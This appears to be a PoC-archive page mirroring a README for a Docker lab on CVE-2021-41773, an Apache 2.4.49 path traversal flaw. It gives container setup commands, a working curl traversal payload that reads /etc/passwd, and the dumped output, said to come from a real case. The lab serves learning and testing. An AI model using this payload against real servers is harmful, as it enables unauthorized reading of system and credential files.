POC详情: 7627be7fe440105d4c9de35d459a86e1817cfd51

来源
关联漏洞
标题: Apache HTTP Server 路径遍历漏洞 (CVE-2021-41773)
描述:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。 Apache HTTP Server 2.4.49版本存在路径遍历漏洞,攻击者可利用该漏洞使用路径遍历攻击将URL映射到预期文档根以外的文件。
描述
Docker container  lab to play/learn with CVE-2021-41773
介绍
# Lab CVE-2021-41773

Container lab to play/learn with CVE-2021-41773

File disclosure:

```
$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default
```

PoC
```bash
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
output

**note:** The output comes from the a real case.
```bash
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
mysql:x:997:994:MySQL server:/var/lib/mysql:/sbin/nologin
[REDACTED]
```

RCE (CGI enabled):
```
$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi
```

References
- [CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited](https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited)
- [Apache HTTP Server CVE-2021-41773 Exploited in the Wild](https://www.rapid7.com/blog/post/2021/10/06/apache-http-server-cve-2021-41773-exploited-in-the-wild/)
- [CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)](https://seclists.org/oss-sec/2021/q4/20)
文件快照

[4.0K] /data/pocs/7627be7fe440105d4c9de35d459a86e1817cfd51 ├── [4.0K] cgi_mod_enable │   ├── [ 71] Dockerfile │   └── [ 20K] httpd.conf ├── [4.0K] default_conf │   ├── [ 71] Dockerfile │   └── [ 20K] httpd.conf └── [2.2K] README.md 2 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。